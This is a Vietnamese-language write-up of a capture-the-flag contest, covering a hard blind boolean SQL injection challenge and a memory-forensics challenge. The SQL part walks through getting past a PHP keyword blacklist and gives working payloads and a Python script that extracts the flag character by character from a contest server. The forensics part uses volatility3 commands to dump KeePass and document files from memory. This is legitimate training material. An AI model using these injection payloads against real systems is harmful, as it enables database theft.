(Vietnamese) PTIT CTF 2025 Qualified Round Write-up
My write-up for PTIT CTF 2025 qualified round
Vòng loại PTITCTF 2025, mình cùng đội thi đã đạt được vị trí thứ 1 với thành tích clear Web, Pwn và Forensic. Hôm nay mình viết lại writeup cho một vài challenge mức độ hard (web + for) mình đã giải được trong thời gian 48h diễn ra cuộc thi.
Web0 - Hard
Một challenge blind SQLi với không tên database, không schema, không table name hay column name, chỉ được cung cấp duy nhất một file source code như sau:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
include("db.php");
function check($input){
$forbid = "0x|0b|limit|glob|php|load|inject|month|day|now|collationlike|regexp|limit|_|information|schema|char|sin|cos|asin|procedure|trim|pad|make|mid";
$forbid .= "substr|compress|where|code|replace|conv|insert|right|left|cast|ascii|x|hex|version|data|load_file|out|gcc|locate|count|reverse|b|y|z|--";
if (preg_match("/$forbid/i", $input) or preg_match('/\s/', $input) or preg_match('/[\/\\\\]/', $input) or preg_match('/(--|#|\/\*)/', $input)) {
die('forbidden');
}
}
$user=$_GET['user'];
$pass=$_GET['pass'];
check($user);check($pass);
$sql = @mysqli_fetch_assoc(mysqli_query($db,"SELECT * FROM users WHERE username='{$user}' AND password='{$pass}';"));
if($sql['username']){
echo 'welcome \o/';
die();
}
else{
echo 'wrong !';
die();
}
?>
Phân tích qua phần preg_match, ta có thể thấy đây là một filter khá khủng. Chỉ cần một trong bốn điều kiện đúng là chặn. Chi tiết về các điều kiện, cụ thể như sau:
1
(A) preg_match("/$forbid/i", $input)
Đầu tiên, hàm khai báo một biến forbid gồm các từ khóa bị cấm tách biệt bởi kí tự |. Thêm i để so khớp không phân biệt hoa/thường
- Điểm đặc biệt rằng ở đây sử dụng operator
.=có tác dụng nối 2 chuỗi - Tiếp theo sử dụng
preg_matchđể thực hiện so sánh chuỗi bằng regex, chi tiết về preg_match
=> Phần này có thể note lại điểm quan trọng là việc sử dụng toán tử .= để nối => mid vẫn sẽ có thể sử dụng, ngoài ra còn filter cả những ký tự b|y|z khiến việc xây payload hẳn sẽ rất khó khăn vì cần tránh sử dụng những ký tự này
1
(B) preg_match('/\s/', $input)
Điều kiện thứ hai, nếu regex match \s tức các ký tự liên quan tới khoảng trắng, chẳng hạn như xuống dòng, space, tab. Chặn mọi input có khoảng trắng, không thể bypass chỉ bằng những ký tự như tab, newline => Có thể bypass bằng cách sử dụng mở ngoặc, chi tiết hơn tại tài liệu này
1
(C) preg_match('/[\/\\\\]/', $input)
Điều kiện thứ 3, regex match và chặn tất cả những ký tự slash - / và backslash - \
1
(D) preg_match('/(--|#|\/\*)/', $input)
Cuối cùng, chặn tất cả những ý tưởng sử dụng comment như --, #, /*. Mặc dù trong MySQL có một case đặc biệt là /!* nhưng trong bài này mình cũng chưa tận dụng được.
Như vậy, về căn bản ý tưởng của challenge là bypass filter trên, leak được database dựa vào blind boolean-based SQLi. Ý tưởng này xuất phát từ việc response trả về sẽ có sự khác biệt khi câu query được thực hiện thành công và thất bại, cụ thể ở đoạn code
1
2
3
4
5
6
7
8
if($sql['username']){
echo 'welcome \o/';
die();
}
else{
echo 'wrong !';
die();
}
Mình đi dần lên từ việc xây payload nho nhỏ, đầu tiên làm sao đó để server trả về giá trị nào đó khác wrong => Câu SQL query phải được thực thi, sau đó bắt đầu tìm cách enumerate các thông tin khác của database bao gồm table, column, value
Hiện tại, câu query đang được thực thi bên phía server là SELECT * FROM users WHERE username='{$user}' AND password='{$pass}';=> Ý tưởng, điền user bất kỳ, password sẽ là một truy vấn SELECT bypass space với ký tự đóng mở ngoặc kết hợp điều kiện sao cho câu query phải được thực thi
Đầu tiên, làm sao đó để server trả về welcome khi truy vấn SQL được thực hiện thành công, mình đã làm được điều đó bằng cách sau:
Giải thích thêm về payload trên, theo như cách mình inject, câu query cuối cùng được server thực thi là
1
SELECT * FROM users WHERE username='anhcd1' AND password='123'OR'anhcd2'='anhcd2';
Trong MySQL nói riêng và SQL nói chung, toán tử AND có độ ưu tiên cao hơn toán tử OR nghĩa là trong câu query, toán tử AND sẽ được xử lý trước, sau đó mới tới OR. Điều này sẽ dẫn tới câu query của chúng ta sẽ trở thành
1
SELECT * FROM users WHERE (username='anhcd' AND password='123') OR ('anhcd2'='anhcd2');
Đây là một điều kiện luôn đúng, vì vậy nên server trả về welcome \o/. Giờ mình sẽ tìm cách inject được một SELECT statements vào câu query boolean-based hiện tại, và cách mình đưa ra là ?user=anhcd1&pass=123'OR(SELECT(1))AND'anhcd2'='anhcd2
Như vậy là ta đã cơ bản xây dựng được một payload khai thác boolean based SQLi, giờ tới giai đoạn enumerate để leak tên table và column. Khi nhìn lại vào phía filter, ta có thể thấy information, schema, db đều đã bị filter mất. Mình vẫn còn lại một vài ý tưởng sử dụng processlists của MySQL để leak được database ra nhưng mình cũng chưa thể thực hiện được theo hướng này do vốn dĩ để truy cập processlist cũng cần schema hoặc mysql => performance_schema.processlist hoặc mysql.processlist nhưng cả schema và ký tự y đều đã bị filter
Ý tưởng đơn giản hơn để enumerate, khi ta đã SELECT được rồi tại sao không thử thêm FROM common_table_name, nếu có table đó thì nó sẽ trả về giá trị true đúng chứ? Vậy là mình đi tìm một wordlist cho các table name phổ biến
Như vậy là ta đã có tên bảng, đến đây gần như chắc nịch việc column cũng sẽ tên là flag, nhưng để chắc chắn hơn chúng ta có thể chạy thêm một lần wordlist column name nữa.
Cuối cùng, sử dụng ORD, MID để dần dần leak từng ký tự là value tương ứng khi ta thực hiện query SELECT flag FROM flag, có thể thực hiện việc này bằng intruder hoặc viết 1 python script:
Ngoài solution sử dụng ORD, MID, có những solution khác sử dụng RLIKE + IF, câu query sẽ kiểu như
1'||IF((SELECT(flag)FROM(flag))RLIKE('^ptitctf{<các ký tự tiếp theo>'),1,0)||'%00
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
target_url = "http://103.197.184.163:12113"
extracted = ""
max_length = 36
for index in range(1, max_length + 1):
success = False
for ascii_code in range(32, 127): # printable ASCII
payload = f"'||ORD(MID((SELECT(flag)FROM(flag)),{index},1))={ascii_code}||'"
crafted_url = f"{target_url}?user=anhcd1&pass={payload}"
response = requests.get(crafted_url)
content = response.text.strip()
if "welcome" in content:
extracted += chr(ascii_code)
print(f"[+] Position {index}: {chr(ascii_code)} --> {extracted}")
success = True
break
if not success:
print(f"[!] Extraction stopped at position {index}")
break
print(f"\n[FINAL FLAG] {extracted}")
Forensics: Memory - Hard
Challenge cung cấp cho mình một file memory, công cụ chúng ta thường sử dụng cho dạng bài này đó chính là volatility. Ở đây mình sẽ sử dụng volatility3 để tìm kiếm những thông tin có ích file memory này.
Về các thông tin bên lề, memory dump có thể hiểu là phiên bản snapshot của bộ nhớ vật lý tại một thời điểm xác định. Vì là bản snapshot của RAM, nó sẽ bao gồm kernel, process memory, driver, DLL, … Trong CTF, ta sẽ cần để ý tới những mục quan trọng sau thường được giấu trong 1 file memory dump:
- Process
- Command line log
- Environment variables
- Network connections
- File handles
- Clipboard, session, password,…
Một vài lệnh cơ bản với công cụ volatility3
- Xem thông tin sơ bộ về file:
vol -f memory.raw windows.infovol -f memory.raw linux.pslist
- Xem các tiến trình trong file dump:
pslistpstree
- Xem log CLI:
windows.cmdlinewindows.cmdscanlinux.bash
- Xem biến môi trường:
window.envarslinux.envars…..
Thường khi list process, ta sẽ thấy một vài tiến trình lạ hoặc tên nó đáng để chú ý tới. Trong challenge này thì ta thấy KeePass.exe và notepad++.exe
Khi làm, ta cần để ý những extension hoặc tên file, chẳng hạn như ở đây có một file database.kdbx và 1 file real.txt nằm trong 2 tiến trình này. Mình sẽ tiến hành dump 2 file này ra để xem kỹ chúng là gì.
Để thực hiện việc này, mình sẽ làm 1 kỹ thuật filescan + dumpfiles, về bản chất việc làm này có ý nghĩa như sau:
1
2
3
4
5
6
7
8
9
vol -f memory.raw windows.filescan | grep -i "real.txt"
ket qua se kieu nhu: 0x000000003fc4a2b0 \Users\REM\Desktop\real.txt
dump ra file
mkdir -p dumped_mem
vol -f memory.raw -o ./dumped_mem windows.dumpfiles --virtaddr 0x000000003fc4a2b0
- Trong kdbx, có AES IV, Key và Enc data => Giải mã ra được 1 cái password
- File real.txt sau khi dump và dùng lệnh kiểm tra loại file, ta biết được về bản chất là 1 file docx => Đưa về đúng extension, nhập yêu cầu mật khẩu => Solved
https://hackmd.io/@nh0kt1g3r12/B12IrTB40 Tham khảo thêm về dạng bài liên quan tới file memory dump này tại đây
https://h4t3p1ckl3s.github.io/posts/l3akctf/










